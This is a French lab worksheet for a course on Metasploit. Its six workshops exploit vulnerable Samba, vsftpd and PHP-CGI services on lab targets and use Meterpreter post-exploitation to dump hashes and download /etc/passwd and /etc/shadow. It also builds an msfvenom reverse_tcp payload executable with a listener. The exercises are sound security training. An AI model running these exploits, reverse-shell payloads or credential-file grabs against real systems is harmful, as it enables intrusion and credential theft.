Lab 05

Analyse Cyber - Metasploit

Atelier 1 — Découverte de Metasploit

Objectifs

- Comprendre l'architecture de Metasploit.
- Utiliser les commandes essentielles : search, use, show options, set, run.

Exercices

1.1 Recherche de modules

- Rechercher un module relatif à *samba* :
- search samba
- Identifier un exploit et afficher ses options.

1.2 Analyse d'un module

- Choisir un exploit Samba (ex : exploit/unix/samba/usermap_script).
- Lister les options obligatoires.
- Identifier le payload par défaut.

1.3 Simulation sans attaque

- Configurer la cible (IP du Metasploitable) :
- set RHOSTS <IP_VICTIME>
- Lancer un check :
- Check

Livrable : une fiche indiquant les modules trouvés et le fonctionnement général.

Atelier 2 — Exploitation d'un service vulnérable

Objectifs

- Réaliser une exploitation complète.
- Obtenir une session via un payload (Meterpreter).

Exercices

2.1 Choisir un exploit

Exemple conseillé :

- exploit/multi/samba/usermap_script
  ou
- exploit/unix/ftp/vsftpd_234_backdoor

2.2 Configurer le module

- Définir :
- set RHOSTS <IP>
- set LHOST <IP_KALI>
- set PAYLOAD cmd/unix/interact

ou un payload Meterpreter si supporté.

2.3 Exploitation

- Lancer l'exploitation :
- exploit
- Confirmer l'ouverture d'une session :
- sessions -l

2.4 Post-exploitation de base

- Afficher uname :
- uname -a
- Lister les fichiers :
- Ls

Livrable : preuve de session ouverte + liste d'actions réalisées.

Atelier 3 — Post-exploitation

Objectifs

- Explorer les fonctions post-exploitation via Meterpreter.
- Élever les privilèges (si possible).
- Extraire des informations système.

Exercices

3.1 Commandes essentielles Meterpreter

- sysinfo
- getuid
- ipconfig
- ps
- migrate

3.2 Escalade (si applicable)

- Utiliser :
- use post/multi/manage/shell_to_meterpreter
- Mettre en place un module d'escalade connu :
  Ex : post/linux/gather/hashdump

3.3 Extraction d'informations

- Récupérer un fichier :
- download /etc/passwd
- Parcourir les processus et identifier des cibles d'injection.

Livrable : rapport court contenant les infos découvertes.

Atelier 4 — Exploitation Web via Metasploit + Scanners

Objectifs

- Scanner une application web vulnérable (DVWA ou Metasploitable2).
- Exploiter une vulnérabilité via Metasploit.

Exercices

4.1 Scan web

Utiliser nmap :

nmap -sV -p80 <IP>

4.2 Scan automatisé dans Metasploit

use auxiliary/scanner/http/http_version

set RHOSTS <IP>

run

4.3 Exploitation d'un module HTTP

Exemple sur DVWA :

- auxiliary/scanner/http/dir_scanner
- exploit/unix/webapp/php_cgi_arg_injection

4.4 Obtenir un shell web

- Configurer un payload PHP.
- Lancer l'exploitation.
- Vérifier la session.

Livrable : capture d'écran du shell web obtenu.

Atelier 5 — Création d'un fichier malveillant (+ Payloads MSFvenom)

Objectifs

- Créer un payload avec MSFvenom.
- Mettre en place un listener Metasploit.
- Exploiter la machine cible.

Exercices

5.1 Génération du payload

Exemple Windows :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_KALI> LPORT=4444 -f exe -o payload.exe

5.2 Configuration du handler

Dans Metasploit :

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST <IP_KALI>

set LPORT 4444

run

5.3 Déclenchement

- L'apprenant doit exécuter le fichier depuis la machine vulnérable.
- Vérifier la réception d'une session Meterpreter.

Livrable : capture du handler + session active.

Atelier 6 — Compétences avancées et mini-challenge final

Objectifs

- Réaliser une attaque complète, librement, en autonomie.
- Choisir un module, un payload, réussir l'exploitation.
-

Exercice final

Les apprenants doivent :

1. Scanner la machine cible.
2. Identifier un service vulnérable.
3. Choisir un exploit Metasploit.
4. Lancer l'attaque.
5. Ouvrir une session.
6. Extraire un fichier précis (ex : /etc/shadow ou C:\Windows\system.ini).

Livrable : rapport simple (10 lignes max) décrivant la chaîne d'attaque.